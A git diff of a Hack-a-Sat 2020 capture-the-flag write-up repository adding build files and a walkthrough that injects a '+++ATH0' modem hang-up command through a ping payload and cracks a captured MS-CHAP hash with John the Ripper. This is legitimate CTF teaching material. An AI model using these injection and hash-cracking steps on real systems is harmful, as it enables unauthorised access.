Merge remote-tracking branch 'origin/master'
This commit is contained in:
commit
e105f3176c
|
@ -1,284 +1,6 @@
|
||||||
## Core latex/pdflatex auxiliary files:
|
*.pdf
|
||||||
*.aux
|
*.aux
|
||||||
*.lof
|
|
||||||
*.log
|
*.log
|
||||||
*.lot
|
|
||||||
*.fls
|
*.fls
|
||||||
*.out
|
|
||||||
*.toc
|
|
||||||
*.fmt
|
|
||||||
*.fot
|
|
||||||
*.cb
|
|
||||||
*.cb2
|
|
||||||
.*.lb
|
|
||||||
|
|
||||||
## Intermediate documents:
|
|
||||||
*.dvi
|
|
||||||
*.xdv
|
|
||||||
*-converted-to.*
|
|
||||||
# these rules might exclude image files for figures etc.
|
|
||||||
# *.ps
|
|
||||||
# *.eps
|
|
||||||
# *.pdf
|
|
||||||
|
|
||||||
## Generated if empty string is given at "Please type another file name for output:"
|
|
||||||
.pdf
|
|
||||||
|
|
||||||
## Bibliography auxiliary files (bibtex/biblatex/biber):
|
|
||||||
*.bbl
|
|
||||||
*.bcf
|
|
||||||
*.blg
|
|
||||||
*-blx.aux
|
|
||||||
*-blx.bib
|
|
||||||
*.run.xml
|
|
||||||
|
|
||||||
## Build tool auxiliary files:
|
|
||||||
*.fdb_latexmk
|
*.fdb_latexmk
|
||||||
*.synctex
|
/build/
|
||||||
*.synctex(busy)
|
|
||||||
*.synctex.gz
|
|
||||||
*.synctex.gz(busy)
|
|
||||||
*.pdfsync
|
|
||||||
|
|
||||||
## Build tool directories for auxiliary files
|
|
||||||
# latexrun
|
|
||||||
latex.out/
|
|
||||||
|
|
||||||
## Auxiliary and intermediate files from other packages:
|
|
||||||
# algorithms
|
|
||||||
*.alg
|
|
||||||
*.loa
|
|
||||||
|
|
||||||
# achemso
|
|
||||||
acs-*.bib
|
|
||||||
|
|
||||||
# amsthm
|
|
||||||
*.thm
|
|
||||||
|
|
||||||
# beamer
|
|
||||||
*.nav
|
|
||||||
*.pre
|
|
||||||
*.snm
|
|
||||||
*.vrb
|
|
||||||
|
|
||||||
# changes
|
|
||||||
*.soc
|
|
||||||
|
|
||||||
# comment
|
|
||||||
*.cut
|
|
||||||
|
|
||||||
# cprotect
|
|
||||||
*.cpt
|
|
||||||
|
|
||||||
# elsarticle (documentclass of Elsevier journals)
|
|
||||||
*.spl
|
|
||||||
|
|
||||||
# endnotes
|
|
||||||
*.ent
|
|
||||||
|
|
||||||
# fixme
|
|
||||||
*.lox
|
|
||||||
|
|
||||||
# feynmf/feynmp
|
|
||||||
*.mf
|
|
||||||
*.mp
|
|
||||||
*.t[1-9]
|
|
||||||
*.t[1-9][0-9]
|
|
||||||
*.tfm
|
|
||||||
|
|
||||||
#(r)(e)ledmac/(r)(e)ledpar
|
|
||||||
*.end
|
|
||||||
*.?end
|
|
||||||
*.[1-9]
|
|
||||||
*.[1-9][0-9]
|
|
||||||
*.[1-9][0-9][0-9]
|
|
||||||
*.[1-9]R
|
|
||||||
*.[1-9][0-9]R
|
|
||||||
*.[1-9][0-9][0-9]R
|
|
||||||
*.eledsec[1-9]
|
|
||||||
*.eledsec[1-9]R
|
|
||||||
*.eledsec[1-9][0-9]
|
|
||||||
*.eledsec[1-9][0-9]R
|
|
||||||
*.eledsec[1-9][0-9][0-9]
|
|
||||||
*.eledsec[1-9][0-9][0-9]R
|
|
||||||
|
|
||||||
# glossaries
|
|
||||||
*.acn
|
|
||||||
*.acr
|
|
||||||
*.glg
|
|
||||||
*.glo
|
|
||||||
*.gls
|
|
||||||
*.glsdefs
|
|
||||||
*.lzo
|
|
||||||
*.lzs
|
|
||||||
|
|
||||||
# uncomment this for glossaries-extra (will ignore makeindex's style files!)
|
|
||||||
# *.ist
|
|
||||||
|
|
||||||
# gnuplottex
|
|
||||||
*-gnuplottex-*
|
|
||||||
|
|
||||||
# gregoriotex
|
|
||||||
*.gaux
|
|
||||||
*.gtex
|
|
||||||
|
|
||||||
# htlatex
|
|
||||||
*.4ct
|
|
||||||
*.4tc
|
|
||||||
*.idv
|
|
||||||
*.lg
|
|
||||||
*.trc
|
|
||||||
*.xref
|
|
||||||
|
|
||||||
# hyperref
|
|
||||||
*.brf
|
|
||||||
|
|
||||||
# knitr
|
|
||||||
*-concordance.tex
|
|
||||||
# TODO Uncomment the next line if you use knitr and want to ignore its generated tikz files
|
|
||||||
# *.tikz
|
|
||||||
*-tikzDictionary
|
|
||||||
|
|
||||||
# listings
|
|
||||||
*.lol
|
|
||||||
|
|
||||||
# luatexja-ruby
|
|
||||||
*.ltjruby
|
|
||||||
|
|
||||||
# makeidx
|
|
||||||
*.idx
|
|
||||||
*.ilg
|
|
||||||
*.ind
|
|
||||||
|
|
||||||
# minitoc
|
|
||||||
*.maf
|
|
||||||
*.mlf
|
|
||||||
*.mlt
|
|
||||||
*.mtc[0-9]*
|
|
||||||
*.slf[0-9]*
|
|
||||||
*.slt[0-9]*
|
|
||||||
*.stc[0-9]*
|
|
||||||
|
|
||||||
# minted
|
|
||||||
_minted*
|
|
||||||
*.pyg
|
|
||||||
|
|
||||||
# morewrites
|
|
||||||
*.mw
|
|
||||||
|
|
||||||
# nomencl
|
|
||||||
*.nlg
|
|
||||||
*.nlo
|
|
||||||
*.nls
|
|
||||||
|
|
||||||
# pax
|
|
||||||
*.pax
|
|
||||||
|
|
||||||
# pdfpcnotes
|
|
||||||
*.pdfpc
|
|
||||||
|
|
||||||
# sagetex
|
|
||||||
*.sagetex.sage
|
|
||||||
*.sagetex.py
|
|
||||||
*.sagetex.scmd
|
|
||||||
|
|
||||||
# scrwfile
|
|
||||||
*.wrt
|
|
||||||
|
|
||||||
# sympy
|
|
||||||
*.sout
|
|
||||||
*.sympy
|
|
||||||
sympy-plots-for-*.tex/
|
|
||||||
|
|
||||||
# pdfcomment
|
|
||||||
*.upa
|
|
||||||
*.upb
|
|
||||||
|
|
||||||
# pythontex
|
|
||||||
*.pytxcode
|
|
||||||
pythontex-files-*/
|
|
||||||
|
|
||||||
# tcolorbox
|
|
||||||
*.listing
|
|
||||||
|
|
||||||
# thmtools
|
|
||||||
*.loe
|
|
||||||
|
|
||||||
# TikZ & PGF
|
|
||||||
*.dpth
|
|
||||||
*.md5
|
|
||||||
*.auxlock
|
|
||||||
|
|
||||||
# todonotes
|
|
||||||
*.tdo
|
|
||||||
|
|
||||||
# vhistory
|
|
||||||
*.hst
|
|
||||||
*.ver
|
|
||||||
|
|
||||||
# easy-todo
|
|
||||||
*.lod
|
|
||||||
|
|
||||||
# xcolor
|
|
||||||
*.xcp
|
|
||||||
|
|
||||||
# xmpincl
|
|
||||||
*.xmpi
|
|
||||||
|
|
||||||
# xindy
|
|
||||||
*.xdy
|
|
||||||
|
|
||||||
# xypic precompiled matrices and outlines
|
|
||||||
*.xyc
|
|
||||||
*.xyd
|
|
||||||
|
|
||||||
# endfloat
|
|
||||||
*.ttt
|
|
||||||
*.fff
|
|
||||||
|
|
||||||
# Latexian
|
|
||||||
TSWLatexianTemp*
|
|
||||||
|
|
||||||
## Editors:
|
|
||||||
# WinEdt
|
|
||||||
*.bak
|
|
||||||
*.sav
|
|
||||||
|
|
||||||
# Texpad
|
|
||||||
.texpadtmp
|
|
||||||
|
|
||||||
# LyX
|
|
||||||
*.lyx~
|
|
||||||
|
|
||||||
# Kile
|
|
||||||
*.backup
|
|
||||||
|
|
||||||
# gummi
|
|
||||||
.*.swp
|
|
||||||
|
|
||||||
# KBibTeX
|
|
||||||
*~[0-9]*
|
|
||||||
|
|
||||||
# TeXnicCenter
|
|
||||||
*.tps
|
|
||||||
|
|
||||||
# auto folder when using emacs and auctex
|
|
||||||
./auto/*
|
|
||||||
*.el
|
|
||||||
|
|
||||||
# expex forward references with \gathertags
|
|
||||||
*-tags.tex
|
|
||||||
|
|
||||||
# standalone packages
|
|
||||||
*.sta
|
|
||||||
|
|
||||||
# Makeindex log files
|
|
||||||
*.lpz
|
|
||||||
|
|
||||||
# xwatermark package
|
|
||||||
*.xwm
|
|
||||||
|
|
||||||
# REVTeX puts footnotes in the bibliography by default, unless the nofootinbib
|
|
||||||
# option is specified. Footnotes are the stored in a file with suffix Notes.bib.
|
|
||||||
# Uncomment the next line to have this generated file ignored.
|
|
||||||
#*Notes.bib
|
|
||||||
|
|
|
@ -0,0 +1,27 @@
|
||||||
|
.PHONY: all clean genreadme
|
||||||
|
|
||||||
|
DOCS_ALL=$(wildcard **/**/README.md)
|
||||||
|
WRITEUP_PDF=writeup.pdf
|
||||||
|
|
||||||
|
all: README.md $(WRITEUP_PDF)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
$(RM) -r $(WRITEUP_PDF) build/
|
||||||
|
|
||||||
|
README.md: $(DOCS_ALL)
|
||||||
|
@echo "GEN README.md"
|
||||||
|
@(printf "# BLAHAJ Hack-a-Sat 2020 Writeups\n\n"; for file in $(DOCS_ALL); do \
|
||||||
|
printf -- "- [%s](%s)\n" "$$(dirname $$file)" "$$(dirname $$file)"; done) > README.md
|
||||||
|
|
||||||
|
$(WRITEUP_PDF): $(DOCS_ALL) fonts.tex top.md
|
||||||
|
@echo "GEN writeup.md"
|
||||||
|
@mkdir build/ 2>/dev/null || true
|
||||||
|
@find . -mindepth 3 -iname '*.png' -exec cp {} build/ \;
|
||||||
|
@find . -mindepth 3 -iname '*.py' -exec cp {} build/ \;
|
||||||
|
@cp fonts.tex jork.png build/
|
||||||
|
@for md in top.md $(DOCS_ALL); do cat $$md; printf "\n\n\\\\newpage\n\n"; done > build/writeup.md
|
||||||
|
@echo "PDF writeup.pdf"
|
||||||
|
@cd build && \
|
||||||
|
pandoc --filter pandoc-include-code --toc --toc-depth 1 -f markdown-implicit_figures \
|
||||||
|
-i writeup.md --pdf-engine=lualatex -o writeup.pdf
|
||||||
|
@cp build/writeup.pdf $@
|
11
README.md
11
README.md
|
@ -0,0 +1,11 @@
|
||||||
|
# BLAHAJ Hack-a-Sat 2020 Writeups
|
||||||
|
|
||||||
|
- [aaaa/attitude-adjustment](aaaa/attitude-adjustment)
|
||||||
|
- [aaaa/digital-filters-meh](aaaa/digital-filters-meh)
|
||||||
|
- [aaaa/seeing-stars](aaaa/seeing-stars)
|
||||||
|
- [comms/56k](comms/56k)
|
||||||
|
- [ground-segment/phasors-to-stun](ground-segment/phasors-to-stun)
|
||||||
|
- [payload/leakycrypto](payload/leakycrypto)
|
||||||
|
- [satellite-bus/bytes-away](satellite-bus/bytes-away)
|
||||||
|
- [satellite-bus/magic-bus](satellite-bus/magic-bus)
|
||||||
|
- [space/good-plan-great-plan](space/good-plan-great-plan)
|
|
@ -50,10 +50,10 @@ def solve_orientation(stars, catalog):
|
||||||
|
|
||||||
Note that I threw in an inversion of the rotation matrix; this is because I should've been aligning from the catalog *to* the current star locations. Switching P to be the catalog and Q to be stars would've done the same thing.
|
Note that I threw in an inversion of the rotation matrix; this is because I should've been aligning from the catalog *to* the current star locations. Switching P to be the catalog and Q to be stars would've done the same thing.
|
||||||
|
|
||||||
Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server to get
|
Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server:
|
||||||
|
|
||||||
```{.python}
|
```{.python}
|
||||||
TICKET = 'ticket{papa21503yankee:GGntHycE-_FqMqGbIoz7rKZD-MzEraoec3dRGU21ExVYGGYFLJQQlRLqNLWn8D4ghQ}'
|
TICKET = 'THE_TICKET'
|
||||||
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
|
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
|
||||||
r.send(TICKET+'\n')
|
r.send(TICKET+'\n')
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
|
@ -73,6 +73,6 @@ The flag should get printed out on stdout by the final line.
|
||||||
```
|
```
|
||||||
|
|
||||||
## Resources and other writeups
|
## Resources and other writeups
|
||||||
- https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem
|
- <https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem>
|
||||||
- https://en.wikipedia.org/wiki/Kabsch_algorithm
|
- <https://en.wikipedia.org/wiki/Kabsch_algorithm>
|
||||||
- https://github.com/charnley/rmsd/tree/master
|
- <https://github.com/charnley/rmsd/tree/master>
|
||||||
|
|
|
@ -30,7 +30,7 @@ def solve_orientation(stars, catalog):
|
||||||
rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
|
rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
|
||||||
return rotation
|
return rotation
|
||||||
|
|
||||||
TICKET = 'ticket{papa21503yankee:GGntHycE-_FqMqGbIoz7rKZD-MzEraoec3dRGU21ExVYGGYFLJQQlRLqNLWn8D4ghQ}'
|
TICKET = 'THE_TICKET'
|
||||||
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
|
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
|
||||||
r.send(TICKET+'\n')
|
r.send(TICKET+'\n')
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
|
|
|
@ -54,7 +54,7 @@ q_att = startracker(actual);
|
||||||
```
|
```
|
||||||
|
|
||||||
Looking inside `startracker()`, we see that it pretty clearly indicates that we *are* the star tracker; every timestep, the code tells us, the adversary, what the true physical orientation is as a quaternion. We can act as the star tracker and send back a wxyz-format quaternion on stdin, which it will use as the star-tracker output (note that, for some reason, the code they give us uses space-separated floats and the actual challenge uses comma-separated floats):
|
Looking inside `startracker()`, we see that it pretty clearly indicates that we *are* the star tracker; every timestep, the code tells us, the adversary, what the true physical orientation is as a quaternion. We can act as the star tracker and send back a wxyz-format quaternion on stdin, which it will use as the star-tracker output (note that, for some reason, the code they give us uses space-separated floats and the actual challenge uses comma-separated floats):
|
||||||
```{.matplotlib}
|
```{.matlab}
|
||||||
% Model must have a q_att member
|
% Model must have a q_att member
|
||||||
|
|
||||||
function [ q ] = startracker(model)
|
function [ q ] = startracker(model)
|
||||||
|
@ -78,7 +78,7 @@ endfunction
|
||||||
```
|
```
|
||||||
|
|
||||||
Also note that in `challenge.m`, immediately after the star tracker call, checking the return value for consistency with the physical model is _commented out_. We can tell the satellite that it's pointing anywhere we like and it will believe us, although Kalman error might be bad:
|
Also note that in `challenge.m`, immediately after the star tracker call, checking the return value for consistency with the physical model is _commented out_. We can tell the satellite that it's pointing anywhere we like and it will believe us, although Kalman error might be bad:
|
||||||
```
|
```{.matlab}
|
||||||
%err = quat2eul(quat_diff(q_att, target.q_att))';
|
%err = quat2eul(quat_diff(q_att, target.q_att))';
|
||||||
%if max(abs(err)) > err_thresh
|
%if max(abs(err)) > err_thresh
|
||||||
% disp("Error: No way, you are clearly lost, Star Tracker!");
|
% disp("Error: No way, you are clearly lost, Star Tracker!");
|
||||||
|
@ -99,7 +99,7 @@ Hook up to the server:
|
||||||
sep = ','
|
sep = ','
|
||||||
r = remote('filter.satellitesabove.me', 5014)
|
r = remote('filter.satellitesabove.me', 5014)
|
||||||
r.clean()
|
r.clean()
|
||||||
r.send('ticket{foxtrot78531papa:GLliqPNOiBYZl7OwLiZCOx2yfdmbyO6cdgrfcNRC8iMPcJgy0YQ_H1kBeWTloVB_-w}\n')
|
r.send('THE_TICKET')
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -115,7 +115,7 @@ def adversary(true_pose):
|
||||||
```
|
```
|
||||||
|
|
||||||
And talk to the server, pretending to be the tracker every indication, until we see a string indicating we got the flag:
|
And talk to the server, pretending to be the tracker every indication, until we see a string indicating we got the flag:
|
||||||
```
|
```{.python}
|
||||||
while True:
|
while True:
|
||||||
rl = r.readline(timeout=3)
|
rl = r.readline(timeout=3)
|
||||||
if rl.startswith(b'Uh oh,'):
|
if rl.startswith(b'Uh oh,'):
|
||||||
|
|
|
@ -16,7 +16,7 @@ else:
|
||||||
sep = ','
|
sep = ','
|
||||||
r = remote('filter.satellitesabove.me', 5014)
|
r = remote('filter.satellitesabove.me', 5014)
|
||||||
r.clean()
|
r.clean()
|
||||||
r.send('ticket{foxtrot78531papa:GLliqPNOiBYZl7OwLiZCOx2yfdmbyO6cdgrfcNRC8iMPcJgy0YQ_H1kBeWTloVB_-w}\n')
|
r.send('THE_TICKET')
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
|
|
||||||
def adversary(true_pose):
|
def adversary(true_pose):
|
||||||
|
|
|
@ -53,30 +53,13 @@ return solve
|
||||||
|
|
||||||
We then automated this entire process using pwnlib to connect to the server and
|
We then automated this entire process using pwnlib to connect to the server and
|
||||||
read the data.
|
read the data.
|
||||||
|
|
||||||
### Full code
|
### Full code
|
||||||
```{.python include=seeing-stars.py}
|
```{.python include=seeing-stars.py}
|
||||||
```
|
```
|
||||||
|
|
||||||
Run it:
|
Run it, and the flag should be printed as a bytestring.
|
||||||
```
|
|
||||||
λ has-writeup/aaaa/seeing-stars python seeing-stars.py
|
|
||||||
b'flag{juliet73678uniform:GDy7YZdtCL9mcLgYuLceK_zwgwSAoT6ui5aMGo1IMYcic9tiI8EXUHLfQDcUsjjt5KqsIvOWUYeM8IS6631Vppw}\n'
|
|
||||||
Traceback (most recent call last):
|
|
||||||
File "seeing-stars.py", line 42, in <module>
|
|
||||||
rawdat = r.recvuntil('Enter', drop=True)
|
|
||||||
File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 310, in recvuntil
|
|
||||||
res = self.recv(timeout=self.timeout)
|
|
||||||
File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 82, in recv
|
|
||||||
return self._recv(numb, timeout) or b''
|
|
||||||
File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 160, in _recv
|
|
||||||
if not self.buffer and not self._fillbuffer(timeout):
|
|
||||||
File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer
|
|
||||||
data = self.recv_raw(self.buffer.get_fill_size())
|
|
||||||
File "/usr/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
|
|
||||||
raise EOFError
|
|
||||||
EOFError
|
|
||||||
```
|
|
||||||
|
|
||||||
## Resources and other writeups
|
## Resources and other writeups
|
||||||
- https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html
|
- <https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html>
|
||||||
- https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html
|
- <https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html>
|
||||||
|
|
|
@ -33,7 +33,7 @@ def solve(rawdat):
|
||||||
solve += (str(cX) + "," + str(cY)+'\n')
|
solve += (str(cX) + "," + str(cY)+'\n')
|
||||||
return solve
|
return solve
|
||||||
|
|
||||||
TICKET = 'ticket{juliet73678uniform:GIE7kv0AbxY1I813dEkfLYg2PhHMnJcdqhouI2zuDG1md_2TQ1Ikgab5osJoTRFzIg}'
|
TICKET = 'THE_TICKET'
|
||||||
r = tubes.remote.remote('stars.satellitesabove.me', 5013)
|
r = tubes.remote.remote('stars.satellitesabove.me', 5013)
|
||||||
r.recvline()
|
r.recvline()
|
||||||
r.send(TICKET+'\n')
|
r.send(TICKET+'\n')
|
||||||
|
|
|
@ -0,0 +1,257 @@
|
||||||
|
# 56K Flex Magic
|
||||||
|
|
||||||
|
**Category:** Communication Systems
|
||||||
|
**Points (final):** 205
|
||||||
|
**Solves:** 13
|
||||||
|
|
||||||
|
>Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a
|
||||||
|
>flag…
|
||||||
|
>
|
||||||
|
>UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected
|
||||||
|
>behavior.
|
||||||
|
|
||||||
|
## Write-up
|
||||||
|
|
||||||
|
by [haskal](https://awoo.systems)
|
||||||
|
|
||||||
|
An audio file is included that contains a session where a number is dialed, and then some modem data
|
||||||
|
is exchanged (it's a very distinctive sound). Additionally, there is a note included with the
|
||||||
|
following text.
|
||||||
|
|
||||||
|
```
|
||||||
|
---=== MY SERVER ===---
|
||||||
|
Phone #: 275-555-0143
|
||||||
|
Username: hax
|
||||||
|
Password: hunter2
|
||||||
|
|
||||||
|
* Modem implements a (very small) subset of 'Basic' commands as
|
||||||
|
described in the ITU-T V.250 spec (Table I.2)
|
||||||
|
|
||||||
|
---=== THEIR SERVER ===---
|
||||||
|
|
||||||
|
Ground station IP: 93.184.216.34
|
||||||
|
Ground station Phone #: 458-XXX-XXXX ...?
|
||||||
|
Username: ?
|
||||||
|
Password: ?
|
||||||
|
|
||||||
|
* They use the same model of modem as mine... could use +++ATH0
|
||||||
|
ping of death
|
||||||
|
* It'll have an interactive login similar to my server
|
||||||
|
* Their official password policy: minimum requirements of
|
||||||
|
FIPS112 (probably just numeric)
|
||||||
|
* TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
|
||||||
|
```
|
||||||
|
|
||||||
|
ITU-T V.250 is essentially a formalization of the [Hayes command
|
||||||
|
set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to
|
||||||
|
interact with our local modem, such as
|
||||||
|
```
|
||||||
|
ATDTXXXXXXXXXX - dial number XXX...
|
||||||
|
ATH0 - hang up
|
||||||
|
+++ - get the local modem's attention while in a remote session
|
||||||
|
```
|
||||||
|
|
||||||
|
The first step is to try to get information about the ground station server. We can decode the dial
|
||||||
|
tones from the audio file, which are
|
||||||
|
[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we
|
||||||
|
obtain a phone number for the ground station of `458-555-0142`. However dialing this number results
|
||||||
|
in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need
|
||||||
|
to disconnect it.
|
||||||
|
|
||||||
|
The "ping of death" refers to injecting a modem command into a packet sent to a remote server in
|
||||||
|
order to cause the server's modem to interpret a hang up command contained in the packet. This can
|
||||||
|
be achieved by pinging with the data `+++ATH0`, because as the server replies to the ping with the
|
||||||
|
same data, its local modem will interpret the command inside the ping. But we need to escape it with
|
||||||
|
hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the
|
||||||
|
text file to get an initial shell session
|
||||||
|
|
||||||
|
```
|
||||||
|
ATDT2755550143
|
||||||
|
```
|
||||||
|
|
||||||
|
Next, issue a ping of death to the provided server IP
|
||||||
|
```bash
|
||||||
|
ping -v 0x2b2b2b415448290d 93.184.216.34
|
||||||
|
```
|
||||||
|
|
||||||
|
Now the ground station should be disconnected so it is available for us to dial.
|
||||||
|
|
||||||
|
```
|
||||||
|
+++ATH0
|
||||||
|
ATDT45845550142
|
||||||
|
```
|
||||||
|
|
||||||
|
We get a login prompt for SATNET
|
||||||
|
|
||||||
|
```
|
||||||
|
* * . * * * . * * . * * .
|
||||||
|
. * * . * . . * . *
|
||||||
|
* +------------------------------+
|
||||||
|
. | SATNET | *
|
||||||
|
+------------------------------+ .
|
||||||
|
. | UNAUTHORIZED ACCESS IS |
|
||||||
|
| STRICTLY PROHIBITED |
|
||||||
|
. +------------------------------+ .
|
||||||
|
. .
|
||||||
|
.
|
||||||
|
|
||||||
|
Setting up - this will take a while...
|
||||||
|
|
||||||
|
LOGIN
|
||||||
|
Username:
|
||||||
|
```
|
||||||
|
|
||||||
|
However we still need the username and password. Maybe the provided audio file has the credentials
|
||||||
|
somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of
|
||||||
|
choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is
|
||||||
|
consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses
|
||||||
|
dual-channel Frequency Shift Keying at 300 bits/second. We can use
|
||||||
|
[minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide
|
||||||
|
the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1
|
||||||
|
and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
minimodem -8 -S 980 -M 1180 -f recording.wav 300
|
||||||
|
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
|
||||||
|
```
|
||||||
|
|
||||||
|
This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from
|
||||||
|
the notes file that the password is a 4-digit number, but trying the username `rocketman` and
|
||||||
|
password `2674` didn't work. We need to look closer. This is the beginning of one side of the
|
||||||
|
exchange in hex:
|
||||||
|
|
||||||
|
```hexdump
|
||||||
|
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}"
|
||||||
|
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(.
|
||||||
|
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.}
|
||||||
|
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&}
|
||||||
|
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!}
|
||||||
|
```
|
||||||
|
|
||||||
|
It starts with `7eff`, which is characteristic of [Point-to-Point
|
||||||
|
Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with
|
||||||
|
[scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first
|
||||||
|
we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically.
|
||||||
|
There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte
|
||||||
|
stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the
|
||||||
|
byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax
|
||||||
|
de-framer because sometimes frames seemed to not be started or terminated properly.
|
||||||
|
|
||||||
|
```python
|
||||||
|
def decode(ch):
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
|
||||||
|
for x in ch:
|
||||||
|
if x == 0x7e:
|
||||||
|
if buf2 != b"\xFF" and buf2 != b"":
|
||||||
|
PPP(buf2).show()
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
elif esc:
|
||||||
|
esc = False
|
||||||
|
buf2 += bytes([x^0x20])
|
||||||
|
elif x == 0x7d:
|
||||||
|
esc = True
|
||||||
|
else:
|
||||||
|
buf2 += bytes([x])
|
||||||
|
|
||||||
|
if len(buf2) > 0:
|
||||||
|
PPP(buf2).show()
|
||||||
|
```
|
||||||
|
|
||||||
|
(This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this
|
||||||
|
snippet.)
|
||||||
|
|
||||||
|
Now we can see what the packets mean. In particular, we spot these ones:
|
||||||
|
|
||||||
|
```
|
||||||
|
###[ HDLC ]###
|
||||||
|
address = 0xff
|
||||||
|
control = 0x3
|
||||||
|
###[ PPP Link Layer ]###
|
||||||
|
proto = Link Control Protocol
|
||||||
|
###[ PPP Link Control Protocol ]###
|
||||||
|
code = Configure-Ack
|
||||||
|
id = 0x2
|
||||||
|
len = 28
|
||||||
|
\options \
|
||||||
|
.....
|
||||||
|
|###[ PPP LCP Option ]###
|
||||||
|
| type = Authentication-protocol
|
||||||
|
| len = 5
|
||||||
|
| auth_protocol= Challenge-response authentication protocol
|
||||||
|
| algorithm = MS-CHAP
|
||||||
|
.....
|
||||||
|
|
||||||
|
###[ PPP Link Layer ]###
|
||||||
|
proto = Challenge Handshake Authentication Protocol
|
||||||
|
###[ PPP Challenge Handshake Authentication Protocol ]###
|
||||||
|
code = Response
|
||||||
|
id = 0x0
|
||||||
|
len = 67
|
||||||
|
value_size= 49
|
||||||
|
value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760
|
||||||
|
2e9831310b56924f3428b05ad60c7a2b401
|
||||||
|
optional_name= 'rocketman2674'
|
||||||
|
```
|
||||||
|
|
||||||
|
and
|
||||||
|
|
||||||
|
```
|
||||||
|
###[ PPP Link Layer ]###
|
||||||
|
proto = Challenge Handshake Authentication Protocol
|
||||||
|
###[ PPP Challenge Handshake Authentication Protocol ]###
|
||||||
|
code = Challenge
|
||||||
|
id = 0x0
|
||||||
|
len = 26
|
||||||
|
value_size= 8
|
||||||
|
value = 12810ab88c7f1c74
|
||||||
|
optional_name= 'GRNDSTTNA8F6C'
|
||||||
|
|
||||||
|
###[ PPP Link Layer ]###
|
||||||
|
proto = Challenge Handshake Authentication Protocol
|
||||||
|
###[ PPP Challenge Handshake Authentication Protocol ]###
|
||||||
|
code = Success
|
||||||
|
id = 0x0
|
||||||
|
len = 4
|
||||||
|
data = ''
|
||||||
|
```
|
||||||
|
|
||||||
|
We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then
|
||||||
|
authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very
|
||||||
|
easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the
|
||||||
|
hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes,
|
||||||
|
including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
|
||||||
|
can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash
|
||||||
|
like
|
||||||
|
|
||||||
|
```
|
||||||
|
username:$NETNTLM$challenge$hash
|
||||||
|
|
||||||
|
rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
|
||||||
|
```
|
||||||
|
|
||||||
|
Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put
|
||||||
|
this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will
|
||||||
|
complete in literal seconds anyway.
|
||||||
|
|
||||||
|
```
|
||||||
|
Proceeding with incremental:ASCII
|
||||||
|
9435 (rocketman2674)
|
||||||
|
